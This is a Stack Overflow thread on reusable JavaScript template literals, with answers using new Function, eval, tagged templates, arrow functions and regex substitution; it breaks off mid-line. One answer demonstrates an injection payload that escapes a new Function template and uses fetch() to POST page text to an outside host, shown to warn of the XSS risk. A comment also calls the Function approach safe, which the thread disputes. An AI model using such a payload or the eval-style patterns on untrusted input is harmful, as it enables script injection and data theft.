212

tl;dr: Is it possible to make a reusable template literal?

I've been trying to use template literals but I guess I just don't get it and now I'm getting frustrated. I mean, I think I get it, but "it" shouldn't be how it works, or how it should get. It should get differently.

All the examples I see (even tagged templates) require that the "substitutions" be done at declaration time and not run time, which seems utterly useless to me for a template. Maybe I'm crazy, but a "template" to me is a document that contains tokens which get substituted when you use it, not when you create it, otherwise it's just a document (i.e., a string). A template is stored with the tokens as tokens & those tokens are evaluated when you...evaluate it.

Everyone cites a horrible example similar to:

var a = 'asd';
return `Worthless ${a}!`

That's nice, but if I already know a, I would just return 'Worthless asd' or return 'Worthless '+a. What's the point? Seriously. Okay the point is laziness; fewer pluses, more readability. Great. But that's not a template! Not IMHO. And MHO is all that matters! The problem, IMHO, is that the template is evaluated when it's declared, so, if you do, IMHO:

var tpl = `My ${expletive} template`;
function go() { return tpl; }
go(); // SPACE-TIME ENDS!

Since expletive isn't declared, it outputs something like My undefined template. Super. Actually, in Chrome at least, I can't even declare the template; it throws an error because expletive is not defined. What I need is to be able to do the substitution after declaring the template:

var tpl = `My ${expletive} template`;
function go() { return tpl; }
var expletive = 'great';
go(); // My great template

However I don't see how this is possible, since these aren't really templates. Even when you say I should use tags, nope, they don't work:

> explete = function(a,b) { console.log(a); console.log(b); }
< function (a,b) { console.log(a); console.log(b); }
> var tpl = explete`My ${expletive} template`
< VM2323:2 Uncaught ReferenceError: expletive is not defined...

This all has led me to believe that template literals are horribly misnamed and should be called what they really are: heredocs. I guess the "literal" part should have tipped me off (as in, immutable)?

Am I missing something? Is there a (good) way to make a reusable template literal?


I give you, reusable template literals:

> function out(t) { console.log(eval(t)); }
  var template = `\`This is
  my \${expletive} reusable
  template!\``;
  out(template);
  var expletive = 'curious';
  out(template);
  var expletive = 'AMAZING';
  out(template);
< This is
  my undefined reusable
  template!
  This is
  my curious reusable
  template!
  This is
  my AMAZING reusable
  template!

And here is a naive "helper" function...

function t(t) { return '`'+t.replace('{','${')+'`'; }
var template = t(`This is
my {expletive} reusable
template!`);

...to make it "better".

I'm inclined to call them template guterals because of the area from which they produce twisty feelings.

Kamil Kiełczewski
  • 85,173
  • 29
  • 368
  • 345
Josh
  • 6,944
  • 8
  • 41
  • 64
  • 1
    It does support strikethrough (but not in comments like this). Put your text in a `` tag. – Pointy May 02 '15 at 15:12
  • 1
    ES6 template literals are mostly for old fashioned String interpolation. If you want dynamic templates use Handlebars etc, or Pointy's tagged template solution. – joews May 02 '15 at 16:38
  • 1
    Template strings are, despite the name, [no templates](http://stackoverflow.com/a/29771751/1048572). See also [Defer execution for ES6 Template Strings](http://stackoverflow.com/q/22607806/1048572) – Bergi May 02 '15 at 18:16
  • 15
    Could you please make your post a bit less ranty? Also, it looks like you intended to write a tutorial in Q&A format, if you did so, please remove the "*I give you…*" part from your *question* and [post it as an answer](http://stackoverflow.com/help/self-answer). – Bergi May 02 '15 at 18:21
  • I notice there are many good answers here. Perhaps accept one. – abalter May 16 '18 at 05:10
  • @Josh I update my [answer here](https://stackoverflow.com/a/55594573/860099) – Kamil Kiełczewski Apr 20 '19 at 08:53
  • 3
    I don't know why you think template literals are useless and not reusable. I use them all the time ``function hsl(h, s, l) { return `hsl(${h * 360}),${s * 100)%,${l * 100)%`; }`` – gman Jun 25 '19 at 19:54

26 Answers26

126

To make these literals work like other template engines there needs to be an intermediary form.

The best way to do this is to use the Function constructor.

const templateString = "Hello ${this.name}!";
const templateVars = {
    name: "world"    
}

const fillTemplate = function(templateString, templateVars){
    return new Function("return `"+templateString +"`;").call(templateVars);
}

console.log(fillTemplate(templateString, templateVars));

As with other template engines, you can get that string from other places like a file.

Some issues can appear using this method (for example, template tags would be harder to add). You also can't have inline JavaScript logic, because of the late interpolation. This can also be remedied with some thought.

2jt
  • 93
  • 5
Quentin Engles
  • 2,744
  • 1
  • 20
  • 33
  • 11
    Nice! You can even use ```new Function(`return \`${template}\`;`)``` – Ruben Stolk Sep 14 '17 at 09:12
  • And these templates can be composed, or "included" through arguments by calling on a method, or passing in the compiled result of another template. – Quentin Engles Sep 15 '17 at 04:19
  • Quentin what does 'no template tags' mean? Thanks! – mikemaccana Jan 18 '18 at 13:40
  • @mikemaccana You can't use a template tag. At least not very easily. – Quentin Engles Jan 18 '18 at 22:23
  • @QuentinEngles Ah I see there's a reference to 'tagged template literals' on https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals/ . I hadn't heard them before. I wish MDN had some more practical examples though. – mikemaccana Jan 19 '18 at 11:19
  • 19
    **beware** that this template string is kinda 'hidden' to transpilation (i.e. webpack) and thus will NOT transpile into something [sufficiently compatible (i.e. IE11)](https://caniuse.com/#feat=template-literals) on client-side...! – Frank N May 15 '18 at 07:40
  • @FrankNocke Good point. Though it could be interpolated manually. – Quentin Engles May 23 '18 at 00:07
  • Nice solution! Any Idea how to improve it with HTML? – Pumych Mar 16 '19 at 11:15
  • @Pumych Use document.createDocumentFragment(str); after string interpolation to generate a small DOM document that can be used just like regular DOM? – Quentin Engles Mar 16 '19 at 15:07
  • 20
    **XSS vulnerability**? Details in [THIS JSFIDDLE](https://jsfiddle.net/Lamik/w97qdpvf/) – Kamil Kiełczewski Apr 09 '19 at 14:06
  • @KamilKiełczewski Looks like it could be possible. As with all interpolated strings. You can get that with concatenation. The best advice is probably to concatenate, and interpolated strings while cautiously transforming user created content into text nodes. And when using new Function() to make sure user content is in a string form. You can also escape queries if there really is a need to use fetch. – Quentin Engles Apr 09 '19 at 16:13
  • @QuentinEngles I add my answer to question, and I think it doesn't have such XSS vulnerabilities [HERE](https://stackoverflow.com/a/55594573/860099) – Kamil Kiełczewski Apr 09 '19 at 16:34
  • 1
    @KamilKiełczewski You can't use deep nested properties with that. You just invented a garden variety templating language. You can still get XSS with your method as well if a person inserts user input into HTML attributes and uses innerHTML, or `document.createDocumentFragment()` on the interpolated string. That being said your answer is still a viable alternative. – Quentin Engles Apr 20 '19 at 03:06
  • 1
    You procedure allow to xss attack in direct way (evil parameters on input allow to stole the data) - as far I know my procedure not allow to do it (If not provide example with evil parameters which allow it) – Kamil Kiełczewski Apr 20 '19 at 06:49
  • Can it work with Tagged Template literal? Let's say if 3rd param is a tagged function name passed as string : ```const fillTemplate = function(templateString, templateVars, stringTagFunctionName) ``` – Shatiz Dec 09 '19 at 11:25
  • 8
    I tweaked this snippit a bit to avoid having to write `this.` https://gist.github.com/tmarshall/31e640e1fa80c597cc5bf78566b1274c – Marshall Dec 27 '19 at 22:42
  • Very nice. The new Function can be stored directly in a variable, and the Function and template literal will both only get built once. Example: var itemBuilder = new Function("return `" + templateString + "`;"); Then use it like: itemBuilder.call(someDataObject); – Gen1-1 Oct 29 '20 at 16:49
  • 2
    I dont get the use case for 'new Function'. Just const genMarkup = (person) => `'
    ${person.name}
    '`
    – Eva Cohen Jan 27 '21 at 11:36
  • 1
    this is dangerous. – Tim Daubenschütz Mar 26 '21 at 14:54
  • If you don't want to use "this" in the template string then you can use any other var name like templateData and pass the templateVars to your new function as templateData. – Hasan Wajahat Sep 23 '21 at 14:08
93

You can put a template string in a function:

function reusable(a, b) {
  return `a is ${a} and b is ${b}`;
}

You can do the same thing with a tagged template:

function reusable(strings) {
  return function(... vals) {
    return strings.map(function(s, i) {
      return `${s}${vals[i] || ""}`;
    }).join("");
  };
}

var tagged = reusable`a is ${0} and b is ${1}`; // dummy "parameters"
console.log(tagged("hello", "world"));
// prints "a is hello b is world"
console.log(tagged("mars", "jupiter"));
// prints "a is mars b is jupiter"

The idea is to let the template parser split out the constant strings from the variable "slots", and then return a function that patches it all back together based on a new set of values each time.

Pointy
  • 405,095
  • 59
  • 585
  • 614
  • 4
    @FelixKling that may be; I'll check and fix it if so. *edit* yes it looks like I left out a significant part of the example, that being the "reusable" function :) – Pointy Oct 25 '16 at 16:24
  • @FelixKling I'm not sure what to do because I cannot at all recall what I was thinking at the time! – Pointy Oct 25 '16 at 16:30
  • 2
    Yeah, it doesn't make much sense to be either tbh ;) You can always remove it.... but `reusable` could be implement so that it returns a function, and you'd use `${0}` and `${1}` inside the literal instead of `${a}` and `${b}`. Then you can use that values to refer to the arguments of the function, similar to what Bergi does in his last example: http://stackoverflow.com/a/22619256/218196 (or I guess it's basically the same). – Felix Kling Oct 25 '16 at 16:32
  • 1
    @FelixKling OK I think I've come up with something that's at least vaguely along the lines of the OP. – Pointy Oct 25 '16 at 16:35
  • @FelixKling ha ha the "0" and "1" thing I swear I hit upon in Firebug while you were posting that :) I'm not really sure I see the appeal of these template things, to be honest, except as a minor convenience now and then. – Pointy Oct 25 '16 at 16:41
  • 4
    Tagged templates can be really powerful if the result is actually not a string. For example in one of my projects, I use it to do AST node interpolation. E.g. one can do `expression\`a + ${node}\`` to build a BinaryExpression node with an existing AST node `node`. Internally we insert a placeholder to generate valid code, parse it as an AST and replace the placeholder with the passed in value. – Felix Kling Oct 25 '16 at 17:05
  • 1
    For future reference, here is this as one liner: `const reusableStr = (strings, ...extra ) => (...vals) => strings.map((s, i) => \`${s}${vals[i] || ""}\`).join("");` – tastybytes Dec 17 '19 at 15:49
  • @FelixKling The solution I had come up with is very similar as well; it just handles errors differently (not silently). https://stackoverflow.com/a/61923290/2934015 I suppose, it's easy to expand on this idea with named arguments, though it looks a little sillier: reusable`a is ${'foo'} and b is ${'bar'}`({foo: 'hello', bar: 'world'}); – Spike Sagal Oct 02 '20 at 04:09
  • you could we make the string tagged at a lter point in time though? Suposse we want to read pure string with template from somewhere, tag it and then reuse it. – The Fool Jun 09 '21 at 10:53
  • 1
    Just for what it's worth, they're template literals, not template strings. An untagged one results in a string value, but a tagged one doesn't (unless the tag function creates one). The distinction does matter (very slightly), because you can't use an untagged template literal everywhere you can use a string literal (for instance, you can't use them for module specifiers on static imports, for property names in an object literal [though you can use them in computed property names, like you can any expression], `\`use strict;\`` doesn't work ...). – T.J. Crowder Aug 02 '21 at 09:26
  • @T.J.Crowder that's ... so JavaScript. I've noticed a lot of "I'm new to JavaScript" questions wherein the template-style quotes are used for everything, so that's yet another source of mystification for beginners. – Pointy Aug 02 '21 at 12:35
  • @Pointy - Yeah. There was some talk of allowing untagged template literals that didn't have any substitutions in them (and so are effectively string literals) wherever string literals were allowed. I'd love to see that. Now, that would probably confuse people too, but...I think that ship has probably sailed, and it would be handy. I basically always reach for backticks when writing strings, because A) Then I don't have to worry about *either* `"` or `'` in the content, and B) It's amazing how often I'll be half-way through a string literal and realize I want to do a substituation. :-) – T.J. Crowder Aug 02 '21 at 13:02
71

Probably the cleanest way to do this is with arrow functions (because at this point, we're using ES6 already)

var reusable = () => `This ${object} was created by ${creator}`;

var object = "template string", creator = "a function";
console.log (reusable()); // "This template string was created by a function"

object = "example", creator = "me";
console.log (reusable()); // "This example was created by me"

...And for tagged template literals:

reusable = () => myTag`The ${noun} go ${verb} and `;

var noun = "wheels on the bus", verb = "round";
var myTag = function (strings, noun, verb) {
    return strings[0] + noun + strings[1] + verb + strings[2] + verb;
};
console.log (reusable()); // "The wheels on the bus go round and round"

noun = "racecars", verb = "fast";
myTag = function (strings, noun, verb) {
    return strings[0] + noun + strings[1] + verb;
};
console.log (reusable()); // "The racecars go fast"

This also avoids the use of eval() or Function() which can cause problems with compilers and cause a lot of slowdown.

PilotInPyjamas
  • 897
  • 6
  • 7
  • 2
    I think this is one the best because you can inject some codes inside the function `myTag` to do some stuff. For example, use the input params as the key to cache the output. – ATNASGDWNGTH Sep 06 '17 at 07:00
  • 3
    I think this is the best answer. You can also add parameters to the arrow function which I think makes it even cleaner: `var reusable = (value: string) => \`Value is ${value}\``. – haggisandchips Jul 25 '20 at 11:51
  • It assumes , that object and creator are globally available variables. It wouldn’t work if literal template and actual values are parameters of the same function. E.g. See fillTemplate('Hi ${firstName}', {firstName: 'Joe'}); example in mikemaccana answer https://stackoverflow.com/a/51079254/52277 And in the top Quentin Engles answer – Michael Freidgeim Aug 20 '20 at 02:25
  • 2
    That's very clean; unfortunately, it falls apart if `object` and `creator` vars are outside of `reusable`'s scope: var reusable = () => `This ${object} was created by ${creator}`; (function IIFE() { var object = "template string", creator = "a function"; console.log (reusable()); // "This template string was created by a function" })(); Uncaught ReferenceError: object is not defined ``` – Spike Sagal Oct 02 '20 at 03:48
  • Just put add a single object as parameter (with a short name like $) and we are golden... – Seyi Shoboyejo Feb 07 '21 at 19:51
55

Yes you can do it by parsing your string with template as JS by Function (or eval) - but this is not recommended and allow XSS attack

// unsafe string-template function
const fillTemplate = function(templateString, templateVars){
    return new Function("return `"+templateString +"`;").call(templateVars);
}


function parseString() {
  // Example malicious string which will 'hack' fillTemplate function
  var evilTemplate = "`+fetch('https://server.test-cors.org/server?id=9588983&enable=true&status=200&credentials=false',{method: 'POST', body: JSON.stringify({ info: document.querySelector('#mydiv').innerText }) }) + alert('stolen')||''`";

  var templateData = {Id:1234, User:22};
  var result = fillTemplate(evilTemplate, templateData);

  console.log(result);

  alert(`Look on Chrome console> networks and look for POST server?id... request with stolen data (in section "Request Payload" at the bottom)`);

}
#mydiv { background: red; margin: 20px}

.btn { margin: 20px; padding: 20px; }
<pre>
CASE: system allow users to use 'templates' and use
fillTemplate function to put variables into that templates
Then backend save templates in DB and show them to other users...

Some bad user/hacker can then prepare malicious template 
with JS code... and when other logged users "see" that malicious 
template (e.g. by "Click me!" in this example), 
then it can read some information from their current 
page with private content and send it to external server. 

Or in worst case, that malicious template can send some 
authorized "action" request to the backend... 
(like e.g. action which delete some user content or change his name etc.).
In case when logged user was Admin then
action can be even more devastating (like delete user etc.)
</pre>
<div id='mydiv'>
Private content of some user
</div>

<div id="msg"></div>

<button class="btn" onclick="parseString()">Click me! :)</button>

Instead you can safely insert object obj fields to template str in dynamic way as follows

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);


// --- test ---

// parameters in object
let t1 = 'My name is ${name}, I am ${age}. My brother name is also ${name}.';
let r1 = inject(t1, {name: 'JOHN',age: 23} );
console.log("OBJECT:", r1);


// parameters in array
let t2 = "Values ${0} are in ${2} array with ${1} values of ${0}."
let r2 = inject(t2, ['A,B,C', 666, 'BIG'] );
console.log("ARRAY :", r2);

For read fields from nested objects (here) try

let deep = (o,k) => k.split('.').reduce((a,c,i) => {
    let m=c.match(/(.*?)\[(\d*)\]/);
    if(m && a!=null && a[m[1]]!=null) return a[m[1]][+m[2]];
    return a==null ? a: a[c];
},o);

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> deep(obj,g));

// --- test ---

// parameters in object
let t1 = 'My name is ${users[0].name}, I am ${users[0].info.age}.';
let r1 = inject(t1, {users: [{name: 'JOHN', info: {age: 23}}]} );
console.log("OBJECT:", r1);


// parameters in array
let t2 = "My name is ${0} - ${0} ${1.data[0].surname}."
let r2 = inject(t2, ['John', {data:[{surname: 'Smith'}]}] );
console.log("ARRAY :", r2);
Kamil Kiełczewski
  • 85,173
  • 29
  • 368
  • 345
  • This is the method I use and it's worked well. Good example! Does the ? after the * in the RegEx help though? I'm not a RegEx expert, but I'm guessing since the * means zero or more (and you do want the "more" in this case), there's no need for the greedy restriction? – Gen1-1 Nov 12 '19 at 18:42
  • @Gen1-1 the `.*?` means [non-greedy](https://stackoverflow.com/q/11898998/860099) - if you remove `"?"` then snippet will give wrong result – Kamil Kiełczewski Nov 12 '19 at 18:50
  • You're correct, my mistake. I don't use $ in my templates, and use RegEx: /{(\w*)}/g because I never have spaces in the tag, but .*? also works. I use: `function taggedTemplate(template, data, matcher) { if (!template || !data) { return template; } matcher = matcher || /{(\w*)}/g; // {one or more alphanumeric characters with no spaces} return template.replace(matcher, function (match, key) { var value; try { value = data[key] } catch (e) { // } return value || ""; }); }` – Gen1-1 Nov 12 '19 at 19:50
  • @Gen1-1 is there also nested data possible? like `data = { a: 1, b: { c:2, d:3 } }` -> `b.c`? – muescha Jun 21 '20 at 15:31
  • 1
    @muescha You would change the line: value = data[key], to use recursion and search your entire data object and nested objects until you found the property. Examples: https://codereview.stackexchange.com/questions/73714/find-a-nested-property-in-an-object, and https://www.mikedoesweb.com/2016/es6-depth-first-object-tree-search – Gen1-1 Jun 26 '20 at 14:37
  • 1
    the regular expression substitution does not allow the use of functions, for example: 'Hello ${upper(name}}' will produce 'Hello undefined' – Michel Fornaris Jun 30 '20 at 17:43
  • 2
    @Michel Fornaris you would put the function call inside the object/context instead... – Seyi Shoboyejo Feb 07 '21 at 18:52
  • 2
    This is enlightening – Seyi Shoboyejo Feb 07 '21 at 18:53
  • [here](https://stackoverflow.com/a/72291550/10682164) is an example that builds off this answer and adds simple support for accessing nested keys in the data structure. – totalhack May 18 '22 at 15:02
19

Simplifying the answer provided by @metamorphasi;

const fillTemplate = function(templateString, templateVars){
  var func = new Function(...Object.keys(templateVars),  "return `"+templateString +"`;")
  return func(...Object.values(templateVars));
}

// Sample
var hosting = "overview/id/d:${Id}";
var domain = {Id:1234, User:22};
var result = fillTemplate(hosting, domain);

console.log(result);
muescha
  • 1,544
  • 2
  • 12
  • 22
subcoder
  • 636
  • 8
  • 15
  • This code is more self-explaining than the leading answer. Got my up-vote :) – ymz Dec 16 '18 at 08:46
  • This should allow you to use variables or external files (in NodeJS) as templates or dynamically build them at run-time. Without the use of `eval`. – b01 Feb 02 '19 at 09:11
  • 2
    **XSS vulnerability**? Fiddle with malicious code (variable `var hosting`) [HERE](https://jsfiddle.net/Lamik/4y8s9502/). – Kamil Kiełczewski Apr 09 '19 at 13:24
19

Am I missing something? Is there a [good] way to make a reusable template literal?

Maybe I am missing something, because my solution to this issue seems so obvious to me that I am very surprised nobody wrote that already in such an old question.

I have an almost one-liner for it:

function defer([first, ...rest]) {
  return (...vals) => rest.reduce((acc, str, i) => acc + vals[i] + str, first);
}

That's all. When I want to reuse a template and defer the resolution of the substitutions, I just do:

function defer([first, ...rest]) {
  return (...vals) => rest.reduce((acc, str, i) => acc + vals[i] + str, first);
}

t = defer`My template is: ${null} and ${null}`;
a = t('simple', 'reusable');
// 'My template is: simple and reusable'
b = t('obvious', 'late to the party');
// 'My template is: obvious and late to the party'
c = t(null);
// 'My template is: null and undefined'
d = defer`Choose: ${'ignore'} / ${undefined}`(true, false);
// 'Choose: true / false'

console.log(a + "\n" + b + "\n" + c + "\n" + d + "\n");

Applying this tag returns back a function (instead of a string) that ignores any parameters passed to the literal. Then it can be called with new parameters later. If a parameter has no corresponding replace, it becomes undefined.


Extended answer

This simple code is functional, but if you need more elaborated behavior, that same logic can be applied and there are endless possibilities. You could:

  1. Make use of original parameters:

You could store the original values passed to the literal in the construction and use them in creative ways when applying the template. They could become flags, type validators, functions etc. This is an example that uses them as default values:

function deferWithDefaults([first, ...rest], ...defaults) {
  return (...values) => rest.reduce((acc, curr, i) => {
    return acc + (i < values.length ? values[i] : defaults[i]) + curr;
  }, first);
}

t = deferWithDefaults`My template is: ${'extendable'} and ${'versatile'}`;
a = t('awesome');
// 'My template is: awesome and versatile' 

console.log(a);
  1. Write a template factory:

Do it by wrapping this logic in a function that expects, as argument, a custom function that can be applied in the reduction (when joining the pieces of the template literal) and returns a new template with custom behavior.

Then you could , e.g., write templates that automatically escape or sanitize parameters when writing embedded html, css, sql, bash...

With this naïve sql template we could build queries like this:

const createTemplate = fn => function (strings, ...defaults) {
  const [first, ...rest] = strings;
  return (...values) => rest.reduce((acc, curr, i) => {
    return acc + fn(values[i], defaults[i]) + curr;
  }, first);
};

function sqlSanitize(token, tag) {
  // this is a gross simplification, don't use in production.
  const quoteName = name => (!/^[a-z_][a-z0-9_$]*$/
                    .test(name) ? `"${name.replace(/"/g, '""')}"` : name);
  const quoteValue = value => (typeof value == 'string' ?
                               `'${value.replace(/'/g, "''")}'` : value);
  switch (tag) {
    case 'table':
      return quoteName(token);
    case 'columns':
      return token.map(quoteName);
    case 'row':
      return token.map(quoteValue);
    default:
      return token;
  }
}

const sql = createTemplate(sqlSanitize);
q  = sql`INSERT INTO ${'table'} (${'columns'})
... VALUES (${'row'});`
a = q('user', ['id', 'user name', 'is"Staff"?'], [1, "O'neil", true])
// `INSERT INTO user (id,"user name","is""Staff""?")
// VALUES (1,'O''neil',true);`

console.log(a);
  1. Accept named parameters for substitution: A not-so-hard exercise, based on what was already given. There is an implementation in this other answer.

  2. Make the return object behave like a 'string': Well, this is controversial, but could lead to interesting results. Shown in this other answer.

  3. Resolve parameters within global namespace at call site:

I give you, reusable template literals:

Well, this is what OP showed is his addendum, using the command evil eval. This could be done without eval, just by searching the passed variable name into the global (or window) object. I will not show how to do it because I do not like it. Closures are the right choice.

Rodrigo Rodrigues
  • 7,545
  • 1
  • 24
  • 36
  • 1
    Woah... this is a completely new type of javascript syntax for me. I've not encountered that in a really long time =] Thank you for sharing, this is pretty epic! – taxilian Aug 02 '22 at 16:27
  • 1
    This should be the accepted answer for 2022. – Aviad P. Sep 07 '22 at 17:48
19

In 2021 came the most straightforward solution yet.

const tl = $ =>`This ${$.val}`;
tl({val: 'code'});

It is almost the same as just writing and reusing a template literal (what the OP was wanting).

You can tweak things from here...

Wyck
  • 10,311
  • 6
  • 39
  • 60
Seyi Shoboyejo
  • 489
  • 4
  • 11
18

2019 answer:

Note: The library originally expected users to sanitise strings to avoid XSS. Version 2 of the library no longer requires user strings to be sanitised (which web developers should do anyway) as it avoids eval completely.

The es6-dynamic-template module on npm does this.

const fillTemplate = require('es6-dynamic-template');

Unlike the current answers:

  • It uses ES6 template strings, not a similar format. Update version 2 uses a similar format, rather than ES6 template strings, to prevent users from using unsanitised input Strings.
  • It doesn't need this in the template string
  • You can specify the template string and variables in a single function
  • It's a maintained, updatable module, rather than copypasta from StackOverflow

Usage is simple. Use single quotes as the template string will be resolved later!

const greeting = fillTemplate('Hi ${firstName}', {firstName: 'Joe'});
mikemaccana
  • 110,530
  • 99
  • 389
  • 494
  • If you're using this with React Native it will break specially on Android. Android node runtime doesn't support dynamic templates, only prefilled ones – Oliver Dixon Oct 03 '18 at 14:16
  • @OliverDixon Have you filed a bug report? What's the URL? – mikemaccana Oct 03 '18 at 14:20
  • I have not I do not have time. It's very simple to emulate. Simply use the library on React native for Android. – Oliver Dixon Oct 03 '18 at 14:34
  • @OliverDixon Worth fling a bug with React then and stating you think the cause may be Android - they can probably chase Google and they have a better bug reporting system than Google so it won't take long. That way it'll actually get fixed. – mikemaccana Oct 03 '18 at 14:37
  • I suggest people take a look at my answer, it's the simplest and it works with no need for a library. – Oliver Dixon Oct 04 '18 at 09:50
  • 1
    Oliver Dixon: did you file a bug with React or not? Re: 'no need for a library' - I'm not sure copypasta from a stack overflow post is better than a versioned, maintained, library. – mikemaccana Oct 04 '18 at 09:55
  • 2
    This is a solution I use in my personal projects and it works flawlessly. I actually think it's a bad idea to use too many libraries especially for small utilities like this. – Oliver Dixon Oct 04 '18 at 13:16
  • Oliver it would take the exact same amount of code whether you make it a library or not. – mikemaccana Oct 04 '18 at 13:18
  • Also for the time this conversation has ran for, you could have filed a bug with react. I'd do it for you, but I don't use react native on Android. – mikemaccana Oct 04 '18 at 13:25
  • @mikemaccana very nice little lib. I finally found out how to use template literals stored in variables. But I'm tempted to just copy/paste your 4 line function into my project. Less magic, better code understanding. – dotnetCarpenter Oct 17 '18 at 16:25
  • @dotnetCarpenter why not install it, read it, understand it, report issues about it since there's a github, and when a bug is found or a security issue is discovered, find out about it and update it because you installed it properly? – mikemaccana Oct 17 '18 at 19:38
  • 1
    **XSS vulnerability**? Details in [THIS FIDDLE](https://jsfiddle.net/Lamik/2p41sx7o/) – Kamil Kiełczewski Apr 09 '19 at 14:03
  • 1
    @kamil Only XSS if you a) give users the ability to create b) don't sanitize the input strings. I'll add a warning that people should sanitize user input though. – mikemaccana May 06 '19 at 22:03
  • Version 2 of the library no longer requires user strings to be sanitised (which web developers should do anyway) as it avoids eval completely. – mikemaccana May 28 '19 at 12:32
  • 2
    This doesn't remotely use es6 template literals. Try `10 * 20 = ${10 * 20}` so it might be a similar format but it is not even remotely es6 template literals – gman Jun 25 '19 at 19:47
  • @gman Version 1 did, version 2 does not. I'll clarify in my answer. – mikemaccana Jun 26 '19 at 12:50
  • 4
    You should disclose in the answer, that you are the author of the library. – Michael Freidgeim Aug 20 '20 at 02:38
11

The short answer is just use _.template in lodash

// Use the ES template literal delimiter as an "interpolate" delimiter.
// Disable support by replacing the "interpolate" delimiter.
var compiled = _.template('hello ${ user }!');
compiled({ 'user': 'pebbles' });
// => 'hello pebbles!'
aGuegu
  • 1,813
  • 1
  • 21
  • 22
9

If you don't want to use ordered parameters or context/namespaces to reference the variables in your template, e.g. ${0}, ${this.something}, or ${data.something}, you can have a template function that takes care of the scoping for you.

Example of how you could call such a template:

const tempGreet = Template(() => `
  <span>Hello, ${name}!</span>
`);
tempGreet({name: 'Brian'}); // returns "<span>Hello, Brian!</span>"

The Template function:

function Template(cb) {
  return function(data) {
    const dataKeys = [];
    const dataVals = [];
    for (let key in data) {
      dataKeys.push(key);
      dataVals.push(data[key]);
    }
    let func = new Function(...dataKeys, 'return (' + cb + ')();');
    return func(...dataVals);
  }
}

The quirk in this case is you just have to pass a function (in the example I used an arrow function) that returns the ES6 template literal. I think it's a minor tradeoff to get the kind of reuseable interpolation we are after.

Here it is on GitHub: https://github.com/Adelphos/ES6-Reuseable-Template

metamorphasi
  • 93
  • 1
  • 3
  • 3
    This is good, but the minification (vals, func, etc) is unnecessaery, 'cb' isn't a callback (this is entirely sync code), and you can just use `Object.values()` and `Object.keys()` – mikemaccana Jun 28 '18 at 09:27
7

Thanks to @Quentin-Engles with the excellent idea and the top answer, that got me started!

But I stored the new Function directly in a variable instead of returning the Function each time, so that both the function and the template literal are only built once, instead of each time you call it, like it is in Quentin's answer.

const templateString = "Hello ${this.name}.";
var myData = {
    name: "world"    
};

const buildItem = new Function("return `" + templateString + "`;");

console.log(buildItem.call(myData));  // Hello world.

myData.name = "Joe";
console.log(buildItem.call(myData));  // Hello Joe.
Gen1-1
  • 424
  • 5
  • 9
  • Is this safe? Can someone with control over the content of `templateString` variable inject code? – Ivancho Aug 31 '21 at 12:25
  • 2
    @Ivancho Yes, it's safe. It's not the same as eval()...it's still just an ES6 template literal. It's just a way to dynamically pass the variables to the literal. If it's not safe, then ES6 literals as a whole are not safe. – Gen1-1 Sep 06 '21 at 00:34
5

In general I'm against using the evil eval(), but in this case it makes sense:

var template = "`${a}.${b}`";
var a = 1, b = 2;
var populated = eval(template);

console.log(populated);         // shows 1.2

Then if you change the values and call eval() again you get the new result:

a = 3; b = 4;
populated = eval(template);

console.log(populated);         // shows 3.4

If you want it in a function, then it can be written like so:

function populate(a, b){
  return `${a}.${b}`;
}
isapir
  • 21,295
  • 13
  • 115
  • 116
  • 2
    If you are writing a function that includes the template, you *definitely* should not use `eval`. – Bergi Jul 11 '17 at 03:14
  • @Bergi Why? How is it different from your implementation? – isapir Jul 11 '17 at 03:30
  • It's different in the sense that it uses `eval` unnecessarily, which is a bad idea for exactly the reasons you seem to know but didn't explicitly state. – Bergi Jul 11 '17 at 03:32
  • 2
    The reasons I "seem to know" apply to any dynamically built code. Writing the function so that it builds the result without calling `eval()` explicitely is exactly the same as `eval()`, therefore there is no benefit in it as it only makes the code harder to read. – isapir Jul 11 '17 at 04:06
  • 1
    Exactly. And since your `populate` function does not dynamically build the code, it should not use `eval` with all its drawbacks. – Bergi Jul 11 '17 at 04:32
  • 7
    your function could just be `function populate(a,b) { return \`${a}.${b}\`; }` the eval adds nothing – Vitim.us Nov 29 '17 at 01:04
  • Passing around a function as a variable is really helpful!! `let version = function(major,minor,hotfixnum) { return ``${major}${major ? '.' : ''}${minor}${minor ? '.' : ''}${hotfixnum}``; };` – TamusJRoyce Dec 31 '18 at 14:36
  • unfortunately this approach cannot be implemented when the template needs to be expressed using backticks (because it needs to span lines) – ekkis Feb 15 '19 at 21:00
5

If you are looking for something rather simple (just fixed variable fields, no computations, conditionals…) but that does work also client-side on browsers without template string support like IE 8,9,10,11

here we go:

fillTemplate = function (templateString, templateVars) {
    var parsed = templateString;
    Object.keys(templateVars).forEach(
        (key) => {
            const value = templateVars[key]
            parsed = parsed.replace('${'+key+'}',value)
        }
    )
    return parsed
}
Frank N
  • 9,625
  • 4
  • 80
  • 110
  • This will do a lookup for every variable. There is another way which replaces all occurences at once that I implemented in this module: [safe-es6-template](https://www.npmjs.com/package/safe-es6-template) – Aalex Gabi Dec 04 '18 at 19:48
5

You could just use a one-liner tagged template, like:

const SERVICE_ADDRESS = (s,tenant) => `http://localhost/${tenant}/api/v0.1/service`;

and in client code your consume it like:

const myTenant = 'me';
fetch(SERVICE_ADDRESS`${myTenant}`);
illeb
  • 2,942
  • 1
  • 21
  • 35
3

This is my best attempt:

var s = (item, price) => {return `item: ${item}, price: $${price}`}
s('pants', 10) // 'item: pants, price: $10'
s('shirts', 15) // 'item: shirts, price: $15'

To generalify:

var s = (<variable names you want>) => {return `<template with those variables>`}

If you are not running E6, you could also do:

var s = function(<variable names you want>){return `<template with those variables>`}

This seems to be a bit more concise than the previous answers.

https://repl.it/@abalter/reusable-JS-template-literal

abalter
  • 9,663
  • 17
  • 90
  • 145
3

I was annoyed at the extra redundancy needed of typing this. every time, so I also added regex to expand variables like .a to this.a.

Solution:

const interp = template => _thisObj =>
function() {
    return template.replace(/\${([^}]*)}/g, (_, k) =>
        eval(
            k.replace(/([.a-zA-Z0-9$_]*)([a-zA-Z0-9$_]+)/, (r, ...args) =>
                args[0].charAt(0) == '.' ? 'this' + args[0] + args[1] : r
            )
        )
    );
}.call(_thisObj);

Use as such:

console.log(interp('Hello ${.a}${.b}')({ a: 'World', b: '!' }));
// outputs: Hello World!
NolePTR
  • 178
  • 5
3

const fillTemplate = (template, values) => {
